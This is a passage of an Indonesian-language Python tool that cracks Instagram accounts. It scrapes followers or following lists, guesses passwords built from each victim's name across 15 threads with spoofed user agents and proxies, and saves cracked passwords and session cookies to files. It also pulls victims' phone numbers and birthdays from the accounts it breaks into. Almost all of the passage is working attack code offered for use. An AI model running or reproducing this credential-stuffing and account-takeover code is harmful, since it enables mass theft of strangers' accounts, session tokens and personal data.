istogram_reporter,ig_android_direct_on_profile_universe,ig_android_network_cancellation,ig_android_background_reel_fetch,ig_android_react_native_insights,ig_android_insta_video_audio_encoder,ig_android_family_bridge_bookmarks,ig_android_data_usage_network_layer,ig_android_universal_instagram_deep_links,ig_android_dash_for_vod_universe,ig_android_modular_tab_discover_people_redesign,ig_android_mas_sticker_upsell_dialog_universe,ig_android_ad_add_per_event_counter_to_logging_event,ig_android_sticky_header_top_chrome_optimization,ig_android_rtl,ig_android_biz_conversion_page_pre_select,ig_android_promote_from_profile_button,ig_android_live_broadcaster_invite_universe,ig_android_share_spinner,ig_android_text_action,ig_android_own_reel_title_universe,ig_promotions_unit_in_insights_landing_page,ig_android_business_settings_header_univ,ig_android_save_longpress_tooltip,ig_android_constrain_image_size_universe,ig_android_business_new_graphql_endpoint_universe,ig_ranking_following,ig_android_stories_profile_camera_entry_point,ig_android_universe_reel_video_production,ig_android_power_metrics,ig_android_sfplt,ig_android_offline_hashtag_feed,ig_android_live_skin_smooth,ig_android_direct_inbox_search,ig_android_stories_posting_offline_ui,ig_android_sidecar_video_upload_universe,ig_android_promotion_manager_entry_point_universe,ig_android_direct_reply_audience_upgrade,ig_android_swipe_navigation_x_angle_universe,ig_android_offline_mode_holdout,ig_android_live_send_user_location,ig_android_direct_fetch_before_push_notif,ig_android_non_square_first,ig_android_insta_video_drawing,ig_android_swipeablefilters_universe,ig_android_live_notification_control_universe,ig_android_analytics_logger_running_background_universe,ig_android_save_all,ig_android_reel_viewer_data_buffer_size,ig_direct_quality_holdout_universe,ig_android_family_bridge_discover,ig_android_react_native_restart_after_error_universe,ig_android_startup_manager,ig_story_tray_peek_content_universe,ig_android_profile,ig_android_high_res_upload_2,ig_android_http_service_same_thread,ig_android_scroll_to_dismiss_keyboard,ig_android_remove_followers_universe,ig_android_skip_video_render,ig_android_story_timestamps,ig_android_live_viewer_comment_prompt_universe,ig_profile_holdout_universe,ig_android_react_native_insights_grid_view,ig_stories_selfie_sticker,ig_android_stories_reply_composer_redesign,ig_android_streamline_page_creation,ig_explore_netego,ig_android_ig4b_connect_fb_button_universe,ig_android_feed_util_rect_optimization,ig_android_rendering_controls,ig_android_os_version_blocking,ig_android_encoder_width_safe_multiple_16,ig_search_new_bootstrap_holdout_universe,ig_android_snippets_profile_nux,ig_android_e2e_optimization_universe,ig_android_comments_logging_universe,ig_shopping_insights,ig_android_save_collections,ig_android_live_see_fewer_videos_like_this_universe,ig_android_show_new_contact_import_dialog,ig_android_live_view_profile_from_comments_universe,ig_fbns_blocked,ig_formats_and_feedbacks_holdout_universe,ig_android_reduce_view_pager_buffer,ig_android_instavideo_periodic_notif,ig_search_user_auto_complete_cache_sync_ttl,ig_android_marauder_update_frequency,ig_android_suggest_password_reset_on_oneclick_login,ig_android_promotion_entry_from_ads_manager_universe,ig_android_live_special_codec_size_list,ig_android_enable_share_to_messenger,ig_android_background_main_feed_fetch,ig_android_live_video_reactions_creation_universe,ig_android_channels_home,ig_android_sidecar_gallery_universe,ig_android_upload_reliability_universe,ig_migrate_mediav2_universe,ig_android_insta_video_broadcaster_infra_perf,ig_android_business_conversion_social_context,android_ig_fbns_kill_switch,ig_android_live_webrtc_livewith_consumption,ig_android_destroy_swipe_fragment,ig_android_react_native_universe_kill_switch,ig_android_stories_book_universe,ig_android_all_videoplayback_persisting_sound,ig_android_draw_eraser_universe,ig_direct_search_new_bootstrap_holdout_universe,ig_android_cache_layer_bytes_threshold,ig_android_search_hash_tag_and_username_universe,ig_android_business_promotion,ig_android_direct_search_recipients_controller_universe,ig_android_ad_show_full_name_universe,ig_android_anrwatchdog,ig_android_qp_kill_switch,ig_android_2fac,ig_direct_bypass_group_size_limit_universe,ig_android_promote_simplified_flow,ig_android_share_to_whatsapp,ig_android_hide_bottom_nav_bar_on_discover_people,ig_fbns_dump_ids,ig_android_hands_free_before_reverse,ig_android_skywalker_live_event_start_end,ig_android_live_join_comment_ui_change,ig_android_direct_search_story_recipients_universe,ig_android_direct_full_size_gallery_upload,ig_android_ad_browser_gesture_control,ig_channel_server_experiments,ig_android_video_cover_frame_from_original_as_fallback,ig_android_ad_watchinstall_universe,ig_android_ad_viewability_logging_universe,ig_android_new_optic,ig_android_direct_visual_replies,ig_android_stories_search_reel_mentions_universe,ig_android_threaded_comments_universe,ig_android_mark_reel_seen_on_Swipe_forward,ig_internal_ui_for_lazy_loaded_modules_experiment,ig_fbns_shared,ig_android_capture_slowmo_mode,ig_android_live_viewers_list_search_bar,ig_android_video_single_surface,ig_android_offline_reel_feed,ig_android_video_download_logging,ig_android_last_edits,ig_android_exoplayer_4142,ig_android_post_live_viewer_count_privacy_universe,ig_android_activity_feed_click_state,ig_android_snippets_haptic_feedback,ig_android_gl_drawing_marks_after_undo_backing,ig_android_mark_seen_state_on_viewed_impression,ig_android_live_backgrounded_reminder_universe,ig_android_live_hide_viewer_nux_universe,ig_android_live_monotonic_pts,ig_android_search_top_search_surface_universe,ig_android_user_detail_endpoint,ig_android_location_media_count_exp_ig,ig_android_comment_tweaks_universe,ig_android_ad_watchmore_entry_point_universe,ig_android_top_live_notification_universe,ig_android_add_to_last_post,ig_save_insights,ig_android_live_enhanced_end_screen_universe,ig_android_ad_add_counter_to_logging_event,ig_android_blue_token_conversion_universe,ig_android_exoplayer_settings,ig_android_progressive_jpeg,ig_android_offline_story_stickers,ig_android_gqls_typing_indicator,ig_android_chaining_button_tooltip,ig_android_video_prefetch_for_connectivity_type,ig_android_use_exo_cache_for_progressive,ig_android_samsung_app_badging,ig_android_ad_holdout_watchandmore_universe,ig_android_offline_commenting,ig_direct_stories_recipient_picker_button,ig_insights_feedback_channel_universe,ig_android_insta_video_abr_resize,ig_android_insta_video_sound_always_on'''
  411.     SIG_KEY_VERSION = '4'
  412.  
  413.     def __init__(self,username,password):
  414.         self.username=username
  415.         self.password=password
  416.         m = hashlib.md5()
  417.         m.update(username.encode('utf-8') + password.encode('utf-8'))
  418.         self.device_id = self.generateDeviceId(m.hexdigest())
  419.         self.uuid = self.generateUUID(True)
  420.         self.s = requests.Session()
  421.  
  422.     def generateDeviceId(self, seed):
  423.         volatile_seed = "12345"
  424.         m = hashlib.md5()
  425.         m.update(seed.encode('utf-8') + volatile_seed.encode('utf-8'))
  426.         return 'android-' + m.hexdigest()[:16]
  427.  
  428.     def generateUUID(self, type):
  429.         generated_uuid = str(uuid.uuid4())
  430.         if (type):
  431.             return generated_uuid
  432.         else:
  433.             return generated_uuid.replace('-', '')
  434.  
  435.     def loginAPI(self):
  436.         token=self.s.get("https://www.instagram.com/",headers={"user-agent":User_Agent()}).text
  437.         crf_token=re.findall(r"\"csrf_token\"\:\"(.*?)\"", str(token))[0]
  438.         self.s.headers.update({'Connection': 'close',
  439.             'Accept': '*/*',
  440.             'Content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
  441.             'Cookie2': '$Version=1',
  442.             'Accept-Language': 'en-US',
  443.             'User-Agent': user_agentAPI()})
  444.         self.data = json.dumps({
  445.             'phone_id': self.generateUUID(True),
  446.             '_csrftoken': crf_token,
  447.             'username': self.username,
  448.             'guid': self.uuid,
  449.             'device_id': self.device_id,
  450.             'password': self.password,
  451.             'login_attempt_count': '0'})
  452.         self.payload = 'signed_body={}.{}&ig_sig_key_version=4'.format(
  453.             self.generateUUID(False),
  454.             urllib.request.quote(self.data)
  455.         )
  456.         x=self.s.post("https://i.instagram.com/api/v1/accounts/login/", self.payload)
  457.         x_jason=json.loads(x.text)
  458.         x_kukis=x.cookies.get_dict()
  459.         if "logged_in_user" in x.text:
  460.             kuki=";".join([v+"="+x_kukis[v] for v in x_kukis])
  461.             #id=x_jason['logged_in_user']['pk']
  462.             #nm=x_jason['logged_in_user']['full_name']
  463.             #pn=x_jason['logged_in_user']['phone_number']
  464.             return {'status':'success','cookie':kuki,'userame':self.username}
  465.         elif 'challenge_required' in x.text:
  466.             return {'status':'checkpoint'}
  467.         else:
  468.             return {'status':'login_error'}
  469. C = ''
  470.  
  471. class instagram:
  472.     def __init__(self,external,username,cookie):
  473.         self.ext=external
  474.         self.username=username
  475.         self.cookie=cookie
  476.         self.s=requests.Session()
  477.         self.tol = Console()
  478.     def logo(self):
  479.         for i in external:
  480.             try:
  481.                 nama=i.split('|')[0]
  482.                 followers=i.split('|')[1]
  483.                 following=i.split('|')[2]
  484.             except:
  485.                 pass
  486.             banner()
  487.             self.mentod()
  488.             #insta = prints
  489.             #crack = PanelPanel
  490.             print(f'\n     01. Crack pengkut\n     02. Crack mengikuti\n     03. Cek hasil\n     00. Logout')
  491.  
  492.     def mentod(self):
  493.             for i in external:
  494.                 nama=i.split('|')[0]
  495.                 followers=i.split('|')[1]
  496.                 following=i.split('|')[2]
  497.             try:
  498.                    ses=requests.Session()
  499.                    lisen=open('data/lisensi.txt','r').read()
  500.                    met = ses.get('https://app.cryptolens.io/api/key/Activate?token=WyIzMjA4OTAxMyIsInRqSVB5U1dJQkFVdU1yMmFGVGk5eW5ZbnpuOWlmS3FHVjVMdG1Yb1EiXQ==&ProductId=17890&Key='+lisen).json()
  501.                    men = met['licenseKey']
  502.                    key = men['key'][0:11]
  503.                    tahun = men['expires'][0:4]
  504.                    buln = men['expires'][5:7]
  505.                    tanggal = men['expires'][8:10]
  506.                    bulan=bulan_ttl[buln]
  507.                    tahun1 = men['created'][0:4]
  508.                    buln1 = men['created'][5:7]
  509.                    tanggal1 = men['created'][8:10]
  510.                    bulan1=bulan_ttl[buln1]
  511.             except:
  512.                    key = "-"
  513.                    tanggal = "-"
  514.                    bulan = "-"
  515.                    tahun = "-"
  516.                    tanggal1 = "-"
  517.                    bulan1 = "-"
  518.                    tahun1 = "-"
  519.  
  520.     def HapusLisen(self):
  521.         try:
  522.             xc = input(f"{P}[{B}?{P}] apakah anda yakin ingin menghapus lisensi? : {H}")
  523.             if xc in ["y","Y"]:
  524.                os.remove("data/lisensi.txt")
  525.                jalan(f"{P}[{H}✓{P}] berhasil menghapus lisensi")
  526.                exit()
  527.             elif xc in ["t","T"]:
  528.                 jalan(f"{P}[{B}+{P}] kembali ke menu utama")
  529.                 time.sleep(2)
  530.                 self.menu()
  531.             else:
  532.                 self.Exit()
  533.         except:pass
  534.    
  535.     def Exit(self):
  536.         try:
  537.             xd = input(f'{P}[{M}?{P}] mau exit bersama cookie anda? ({M}y{P}/{H}t{P}) : ')
  538.             if xd in ["y","Y"]:
  539.                RemoveCookie()
  540.                print('BERHASIL')
  541.                exit()
  542.             elif xd in ["t","T"]:
  543.                 time.sleep(2)
  544.                 self.menu()
  545.             else:
  546.                  self.Exit()
  547.         except:pass
  548.  
  549.     def sixAPI(self,six_id):
  550.         url = "https://www.instagram.com/web/search/topsearch/?context=blended&query="+six_id+"&rank_token=0.3953592318270893&count=1"
  551.         x = requests.get(url)
  552.         x_jason = x.json()
  553.         uid = str( x_jason['users'][0].get("user").get("pk") )
  554.         return uid
  555.  
  556.     def unfollowAPI(self,user_id,username_id,cookie):
  557.         uuid=generateUUID(True)
  558.         xx=self.s.get("https://www.instagram.com/",headers={"user-agent":USN}).content
  559.         crf_token = re.findall('{"config":{"csrf_token":"(.*)","viewer"',str(xx))[0]
  560.         s.headers.update({'Connection': 'close',
  561.                        'Accept': '*/*',
  562.                        'Content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
  563.                        'Cookie2': '$Version=1',
  564.                        'Accept-Language': 'en-US',
  565.                        'User-Agent': USN})
  566.  
  567.         data = json.dumps({'_uuid': uuid,
  568.                            '_uid': username_id,
  569.                            'user_id': user_id,
  570.                            '_csrftoken': crf_token})
  571.  
  572.         self.payload = 'signed_body={}.{}&ig_sig_key_version=4'.format(
  573.             self.generateUUID(False),
  574.             urllib.request.quote(data))
  575.         return s.post('https://i.instagram.com/api/v1/friendships/destroy/%s/'%(user_id),self.payload,cookies=cookie).text
  576.  
  577.  
  578.     def searchAPI(self,cookie,nama):
  579.         try:
  580.             for ba in range(100):
  581.                 x=s.get('https://www.instagram.com/web/search/topsearch/?count=100000&context=blended&query=%s&rank_token=0.21663777590422106&include_reel=true'%(nama),cookies=cookie,headers={"user-agent":USN})
  582.                 x_jason=json.loads(x.text)
  583.                 try:
  584.                     for i in x_jason['users']:
  585.                         user=i['user']
  586.                         username=user['username']
  587.                         fullname=user['full_name']
  588.                         internal.append(f'{username}|{fullname}')
  589.                     prints(Panel(f"""{warna_putih} SEDANG MENGUMPULKAN USERNAME"""))
  590.                     loading()
  591.                     time.sleep(0.0002)
  592.                 except:
  593.                     if 'challenge' in x.text:
  594.                         break
  595.                     else:
  596.                         continue
  597.             print("\r")
  598.         except Exception as e:print(e)
  599.         return internal
  600.    
  601.     def ua_ig(self):
  602.         rr = random.randint
  603.         return (f"Mozilla/5.0 (Linux; Android {str(rr(7,12))}.{str(rr(7,12))}; MBOX Build/PPR1.181005.003; wv {str(rr(7,12))}) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(80,105))}.0.{str(rr(1111,4444))}.{str(rr(111,400))} Safari/537.36")
  604.    
  605.     def idAPI(self,cookie,id):
  606.         if 'sukses' in lisensiku:
  607.             try:
  608.                 m=s.get("https://i.instagram.com/api/v1/users/web_profile_info/?username=%s"%(id),cookies=cookie,headers={"user-agent":USN,"x-ig-app-id":'936619743392459'})
  609.                 m_jason=m.json()["data"]["user"]
  610.                 idx=m_jason["id"]
  611.             except requests.exceptions.ConnectionError:
  612.                 print(f'{P}[{M}!{P}] koneksi internet anda bermasalah');exit()
  613.             except requests.exceptions.ConnectionError:
  614.                 print(f'{P}[{M}!{P}] koneksi internet anda bermasalah')
  615.                 time.sleep(0.3)
  616.                 exit()
  617.             except Exception as e:
  618.                 print(f'{P}[{M}!{P}] username tidak tersedia')
  619.                 exit()
  620.             return idx
  621.         else:lisensi()
  622.        
  623.     def infoAPI(self,cookie,api,id):
  624.         if 'sukses' in  lisensiku:
  625.             try:
  626.                 x=s.get(api%(id),cookies=cookie,headers={"user-agent":USN})
  627.                 x_jason=json.loads(x.text)
  628.                 for i in x_jason['users']:
  629.                     username = i["username"]
  630.                     nama = i["full_name"]
  631.                     internal.append(f'{username}|{nama}')
  632.                     following.append(username)
  633.                 if 'pengikut' in menudump:
  634.                     maxid=x_jason['next_max_id']
  635.                     for z in range (9999):
  636.                         x=s.get('https://i.instagram.com/api/v1/friendships/'+id+'/followers/?count=200&max_id='+maxid,cookies=cookie,headers={"user-agent":USN})
  637.                         x_jason=json.loads(x.text)
  638.                         try:
  639.                             for i in x_jason['users']:
  640.                                 username = i["username"]
  641.                                 nama = i["full_name"]
  642.                                 internal.append(f'{username}|{nama}')
  643.                                 following.append(username)
  644.                             #prints(Panel(f"""{warna_putih}SEDANG MENGUMPULKAN USERNAME"""))
  645.                     #       loading()
  646.                             time.sleep(0.0002)
  647.                             try:
  648.                                 maxid=x_jason['next_max_id']
  649.                             except:
  650.                                 break
  651.                         except:
  652.                             if 'challenge' in x.text:
  653.                                 break
  654.                             else:
  655.                                 continue
  656.                 print("\r")
  657.             except Exception as e:
  658.                 print(f'[+] Username tidak ada ')
  659.             return internal
  660.         else:lisensi()
  661.        
  662.     def ifoAPI(self,cookie,api,id):
  663.         if 'sukses' in  lisensiku:
  664.             try:
  665.                 x=s.get(api%(id),cookies=cookie,headers={"user-agent":USN})
  666.                 x_jason=json.loads(x.text)
  667.                 for i in x_jason['users']:
  668.                     username = i["username"]
  669.                     nama = i["full_name"]
  670.                     internal.append(f'{username}|{nama}')
  671.                     following.append(username)
  672.                 if 'mengikuti' in menudump:
  673.                     maxid=x_jason['next_max_id']
  674.                     for z in range (9999):
  675.                         x=s.get('https://i.instagram.com/api/v1/friendships/'+id+'/following/?count=200&max_id='+maxid,cookies=cookie,headers={"user-agent":USN})
  676.                         x_jason=json.loads(x.text)
  677.                         try:
  678.                             for i in x_jason['users']:
  679.                                 username = i["username"]
  680.                                 nama = i["full_name"]
  681.                                 internal.append(f'{username}|{nama}')
  682.                                 following.append(username)
  683.                             #prints(Panel(f"""{warna_putih}SEDANG MENGUMPULKAN USERNAME"""))
  684.                         #   loading()
  685.                             time.sleep(0.0002)
  686.                             try:
  687.                                 maxid=x_jason['next_max_id']
  688.                             except:
  689.                                 break
  690.                         except:
  691.                             if 'challenge' in x.text:
  692.                                 break
  693.                             else:
  694.                                 continue
  695.                 print("\r")
  696.             except Exception as e:
  697.                 print(f'{P}username tidak tersedia')
  698.             return internal
  699.         else:lisensi()
  700.  
  701.     def ingfoocu(self, cookie):
  702.         with requests.Session() as ses:
  703.              try:
  704.                  link = ses.get(f"https://i.instagram.com/api/v1/accounts/edit/web_form_data/", headers={"user-agent":USN},cookies={"cookie":cookie}).json()["form_data"]
  705.                  nomor = link["phone_number"].replace("-", "").replace(" ", "")
  706.                  tggl = link["birthday"]
  707.                  year, month, day = tggl.split("-")
  708.                  month = bulan_ttl[month]
  709.                  tanggal = (f"{day} {month} {year}")
  710.              except:
  711.                  nomor = "-"
  712.                  tanggal = "-"
  713.              return nomor, tanggal
  714.    
  715.     def AdityaCreate(self, cookie):
  716.         with requests.Session() as ses:
  717.              try:
  718.                  b = ses.get("https://www.instagram.com/accounts/access_tool/", cookies={"cookie":cookie})
  719.                  soup = parser(b.text,'html.parser')
  720.                  body = soup.find("body")
  721.                  script = body.find("script", text=lambda t: t.startswith("window._sharedData"))
  722.                  script_json = script.string.split(" = ", 1)[1].rstrip(";")
  723.                  script_json = json.loads(script_json)
  724.                  i = script_json["entry_data"]['SettingsPages']
  725.                  regax = re.findall('\d+',str(i))
  726.                  tahun = datetime.fromtimestamp(int(regax[0])).strftime('%d %B %Y')
  727.              except:
  728.                  tahun = "-"
  729.              return tahun
  730.    
  731.  
  732.        
  733.     def ingfo(self):
  734.         print(f'\n[+] Simpan Results : OK:{day}.txt\n[+] Simpan Results : CP:{day}.txt\n[+] Jika tidak ada hasil hidupkan mode pesawat 10 detik\n')
  735.  
  736.     def methodku(self):
  737.         insta = prints
  738.         crack = Panel
  739.         print(f'\033[0m\n     01. Method AJAK\n     02. Method API')
  740.     def passwordAPI(self,xnx):
  741.         print(f"[+] total username  : {len(internal)}")
  742.         self.methodku()
  743.         u = input(f'\n{P}[{H}+{P}] Chouse : ')
  744.         print('')
  745.         if u in [""]:
  746.             method.append('satu')
  747.         elif u in ["1","01"]:
  748.             method.append('satu')
  749.         elif u in ["2","02"]:
  750.             method.append('tiga')
  751.         elif u in ["3","03"]:
  752.             method.append('dua')
  753.         else:
  754.             method.append('satu')
  755.         print(f"""\n     01. sandi,sandi123,sandi1245\n     02. sandi,sandi123,sandi1234,sandi12345\n     03. sandi,sandi123,sandi1234,sandi12345,sandi123456\n     00. fullsandi + manual""")
  756.         c=input(f'\n{P}[{H}+{P}] sandi : ')
  757.         if c in ["1","01"]:
  758.             self.generateAPI(xnx,c)
  759.         elif c in ["2","02"]:
  760.             self.generateAPI(xnx,c)
  761.         elif c in ["3","03"]:
  762.             self.generateAPI(xnx,c)
  763.         elif c in ["4","04"]:
  764.             zx=input(f'{P}[{H}?{P}] masukan password : {H}')
  765.             self.generateAPI(xnx,c,zx)
  766.         else:
  767.             self.passwordAPI(xnx)
  768.  
  769.     def generateAPI(self,user,o,zx=''):
  770.         global prog,des
  771.         prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(bar_width=23),TextColumn('{task.percentage:.0f}%'),TimeElapsedColumn())
  772.         des = prog.add_task('',total=len(internal))
  773.         self.ingfo()
  774.         with prog:
  775.             with ThreadPoolExecutor(max_workers=15) as asepxc:
  776.              for i in user:
  777.                 try:
  778.                     username=i.split("|")[0]
  779.                     password=i.split("|")[1].lower()
  780.                     for w in password.split(" "):
  781.                         if len(w)<3:
  782.                             continue
  783.                         else:
  784.                             w=w.lower()
  785.                             if o=="1":
  786.                                 if len(w)==3 or len(w)==4 or len(w)==5:
  787.                                     sandi=[w,w+'123',w+'1234']
  788.                                 else:
  789.                                     sandi=[w,w+'123',w+'1234']
  790.                             elif o=="2":
  791.                                 if len(w)==3 or len(w)==4 or len(w)==5:
  792.                                     sandi=[w,w+'123',w+'1234',password.lower()]
  793.                                 else:
  794.                                     sandi=[w+'123',w,w+'1234',password.lower()]
  795.                             elif o=="3":
  796.                                 if len(w)==3 or len(w)==4 or len(w)==5:
  797.                                     sandi=[w,w+'123',w+'1234',w+'321',w+'12345',w+'123456',password.lower()]
  798.                                 else:
  799.                                     sandi=[w,w+'123',w+'1234',w+'321',w+'12345',w+'123456',password.lower()]
  800.                             elif o=="4":
  801.                                 if len(w)==3 or len(w)==4 or len(w)==5:
  802.                                     sandi = zx.replace(" ", "").split(",")
  803.                                 else:
  804.                                     sandi = zx.replace(" ", "").split(",")
  805.                             asepxc.submit(self.crackAPI,username,sandi)        
  806.                 except:
  807.                     pass
  808.         print('\n')
  809.         prints(Panel(f" {P2}crack {K2}{len(internal)} {P2}username selesai hasil Ok : {H2}{len(success)}{P2} Hasil Cp : {K2}{len(checkpoint)}{P2} ",width=80))
  810.         exit()
  811.                
  812.                        
  813.                        
  814.                        
  815.     def ingfoocu(self, cookie):
  816.         with requests.Session() as ses:
  817.              try:
  818.                  link = ses.get(f"https://i.instagram.com/api/v1/accounts/edit/web_form_data/", headers={"user-agent":USN},cookies={"cookie":cookie}).json()["form_data"]
  819.                  nomor = link["phone_number"].replace("-", "").replace(" ", "")
  820.                  tggl = link["birthday"]
  821.                  year, month, day = tggl.split("-")
  822.                  month = bulan_ttl[month]
  823.                  tanggal = (f"{day} {month} {year}")
  824.              except:
  825.                  nomor = "-"
  826.                  tanggal = "-"
  827.              return nomor, tanggal
  828.  
  829.     def APIinfo(self,user):
  830.         try:
  831.             x=s.get("https://i.instagram.com/api/v1/users/web_profile_info/?username=%s"%(user),headers={"user-agent":USN,"x-ig-app-id":'936619743392459'})
  832.             x_jason=x.json()["data"]["user"]
  833.             nama=x_jason["full_name"]
  834.             pengikut=x_jason["edge_followed_by"]["count"]
  835.             mengikut=x_jason["edge_follow"]["count"]
  836.             postingan=x_jason["edge_owner_to_timeline_media"]["count"]
  837.         except:
  838.             nama = "-"
  839.             pengikut = "-"
  840.             mengikut = "-"
  841.             postingan = "-"
  842.         return nama,pengikut,mengikut,postingan
  843.    
  844.     def crackAPI(self,user,pas):
  845.         global loop,success,checkpoint
  846.         ses = requests.Session()
  847.         logtemp=0
  848.         guid = str(uuid.uuid4())
  849.         ponid = str(uuid.uuid4())
  850.         andro = "android-%s" % hashlib.md5(str(time.time()).encode()).hexdigest()[:16]
  851.         ig_sig = HARIS["ig_sig"]
  852.         verig = HARIS["IGV"]
  853.         igver = verig.split(",")
  854.         igv = random.choice(igver)
  855.         gedz = HARIS1["AOREC"][random.randrange(0,277)]["aorec"]
  856.         ven1 = gedz.split('|')[1]
  857.         ven2 = gedz.split('|')[2]
  858.         giu1 = HARIS["giu"]
  859.         giu = giu1.split("||")
  860.         ua = f'{giu[0]} {igv} {giu[1]} {ven1}; {ven2}; {giu[2]}'
  861.         dat = HARIS["sinkz"]
  862.         dat.update({"id": guid})
  863.         data1 = json.dumps(dat)
  864.         ned = hmac.new(ig_sig.encode('utf-8'), str(data1).encode('utf=8'),hashlib.sha256).hexdigest()
  865.         data2 = HARIS["sinkz1"]
  866.         data2.update({'signed_body': f'{ned}.{str(data1)}'})
  867.         head = HARIS["headaing"]
  868.         head.update({"user-agent": ua})
  869.         while True:
  870.                 try:
  871.                     p = ses.post(HARIS["sinkz2"],headers=head,data=data2)
  872.                     break
  873.                 except:pass
  874.         prog.update(des,description=f'\r[deep_white]crack {(loop)}/{len(internal)}[/] [green]OK[/]:[green]{len(success)} [/]=[yellow] CP[/]:[yellow]{len(checkpoint)}')
  875.         prog.advance(des)
  876.         for pw in pas:
  877.                 try:
  878.                     data = json.dumps({"phone_id":ponid,"_csrftoken": ses.cookies["csrftoken"],"username":user,"guid":guid,"device_id":andro,"password": pw,"login_attempt_count": str(logtemp)})
  879.                     ned = hmac.new(ig_sig.encode('utf-8'), str(data).encode('utf=8'),hashlib.sha256).hexdigest()
  880.                     head2 = HARIS["headaing1"]
  881.                     head2.update({"user-agent": ua})
  882.                     pasw = pw.replace(' ','+')
  883.                     sianjing = HARIS["sianjing"]
  884.                     setan = sianjing.split("||")
  885.                     dataa = f'{setan[0]}{ned}{setan[1]}{ponid}{setan[2]}{ses.cookies["csrftoken"]}{setan[3]}{user}{setan[4]}{guid}{setan[5]}{andro}{setan[6]}{pw}{setan[7]}{logtemp}{setan[8]}'
  886.                     respon = ses.post(HARIS["crack"],headers=head2,data=dataa)
  887.                     try:
  888.                         xyaaXD = json.loads(respon.text)
  889.                     except:
  890.                         xyaaXD = (respon.text)
  891.                     logtemp+=1
  892.                     if "logged_in_user" in str(xyaaXD) or "sessionid" in ses.cookies.get_dict():
  893.                         success.append(user)
  894.                         nama,pengikut,mengikut,postingan=self.APIinfo(user)
  895.                         cookie = ";".join([key+"="+value.replace('"','') for key, value in ses.cookies.get_dict().items()])
  896.                         nomor, tanggal = self.ingfoocu(cookie)
  897.                         tree = Tree("")
  898.                         tree.add(f"\r{H}{nama} | {user}{N}")
  899.                         tree.add(f"\r{N}Pengikut  : {H}{pengikut}{N}")
  900.                         tree.add(f"\r{N}Mengikuti : {H}{mengikut}{N}")
  901.                         tree.add(f"\r{N}Nomor Hp  : {H}{nomor}{N}")
  902.                         tree.add(f"\r{N}Tanggal   : {H}{tanggal}{N}")
  903.                         tree.add(f"\r{N}Postingan : {H}{postingan}{N}").add(f"\r{N}Token : {H}{cookie}{N}")
  904.                         tree.add(f"\r{N}User Agent : {H}{ua}{N}")
  905.                         prints(tree)
  906.                         open(f"result/success-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}|{cookie}\n')
  907.                         break
  908.                     elif 'https://i.instagram.com/challenge' in str(respon.text):
  909.                         nama,pengikut,mengikut,postingan=self.APIinfo(user)
  910.                         tree = Tree("")
  911.                         tree.add(f"\r{M}{nama} | {user} {N} ")
  912.                         tree.add(f"\r{N}Pengikut  : {K}{pengikut}{N}")
  913.                         tree.add(f"\r{N}Mengikuti : {K}{mengikut}{N}")
  914.                         tree.add(f"\r{N}Postingan : {H}{postingan}{N}")
  915.                         prints(tree)
  916.                         open(f"result/checkpoint-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  917.                         checkpoint.append(user)
  918.                         break
  919.                 except requests.exceptions.ConnectionError:
  920.                     time.sleep(5)
  921.                     self.crackAPI(user,pas)
  922.                     loop-=1
  923.                     break
  924.                 except Exception as e:
  925.                     pass
  926.         loop+=1
  927.                    
  928.                
  929.     def crackAPIversi2(self,user,pas):
  930.         global loop,success,checkpoint
  931.         ses = requests.Session()
  932.         ua = random.choice(baru)
  933.         sys.stdout.write(f'\r{P}[{H}√{P}] {H}http://Instagram {P}{loop}/{len(internal)}{P} OK:{H}{len(success)} {N}CP:{K}{len(checkpoint)} {P}');sys.stdout.flush()
  934.         try:
  935.             for pw in pas:
  936.                 xxcteam = random.randint(1000000000, 99999999999)
  937.                 jam = calendar.timegm(current_GMT)
  938.                 proxy = {'http': 'socks5://'+random.choice(prox)}
  939.                 p = ses.get('https://z-p15.www.instagram.com/accounts/login/?force_classic_login&hl=en')
  940.                 head = {
  941.                        "Host": "z-p15.www.instagram.com",
  942.                        "Connection": "keep-alive",
  943.                        "Content-Length": "320",
  944.                        "X-IG-WWW-Claim": "0",
  945.                        "X-Instagram-AJAX": "9080db6b6a51",
  946.                        "Content-Type": "application/x-www-form-urlencoded",
  947.                        "Accept": "*/*",
  948.                        "X-Requested-With": "XMLHttpRequest",
  949.                        "X-ASBD-ID": "198387",
  950.                        "User-Agent": ua,
  951.                        "X-CSRFToken": p.cookies['csrftoken'],
  952.                        "X-IG-App-ID": "1217981644879628",
  953.                        "Origin": "https://z-p15.www.instagram.com",
  954.                        "Sec-Fetch-Site": "same-origin",
  955.                        "Sec-Fetch-Mode": "cors",
  956.                        "Sec-Fetch-Dest": "empty",
  957.                        "Referer": "https://z-p15.www.instagram.com/accounts/login/",
  958.                        "Accept-Encoding": "gzip, deflate",
  959.                        "Accept-Language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"
  960.                        }
  961.                 data = {
  962.                       "enc_password": f"#PWD_INSTAGRAM_BROWSER:0:{jam}:{pw}",
  963.                       "username":user,
  964.                       "queryParams":"{}",
  965.                       "optIntoOneTap":"false",
  966.                       "stopDeletionNonce":"",
  967.                       "trustedDeviceRecords":"{}"
  968.                       }
  969.                 respon=ses.post("https://z-p15.www.instagram.com/accounts/login/ajax/", headers = head, data = data, proxies = proxy, allow_redirects = False)
  970.                 xc_team=json.loads(respon.text)
  971.                 if "userId" in str(xc_team) or "sessionid" in ses.cookies.get_dict():
  972.                     nama,pengikut,mengikut,postingan=self.APIinfo(user)
  973.                     cookie = ";".join([key+"="+value.replace('"','') for key, value in ses.cookies.get_dict().items()])
  974.                     nomor, tanggal = self.ingfoocu(cookie)
  975.                     tree = Tree("")
  976.                     tree.add(f"\r{H}{nama} | {user}{N}")
  977.                     tree.add(f"\r{N}Pengikut  : {H}{pengikut}{N}")
  978.                     tree.add(f"\r{N}Mengikuti : {H}{mengikut}{N}")
  979.                     tree.add(f"\r{N}Nomor Hp : {H}{nomor}{N}")
  980.                     tree.add(f"\r{N}Tanggal : {H}{tanggal}{N}")
  981.                     tree.add(f"\r{N}Postingan : {H}{postingan}{N}").add(f"\r{N}Token : {H}{cookie}{N}")
  982.                     prints(tree)
  983.                     open(f"result/success-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}|{coki}\n')
  984.                     success.append(user)
  985.                     break
  986.                 elif 'href="https://www.instagram.com/challenge/action/"' in str(xc_team):
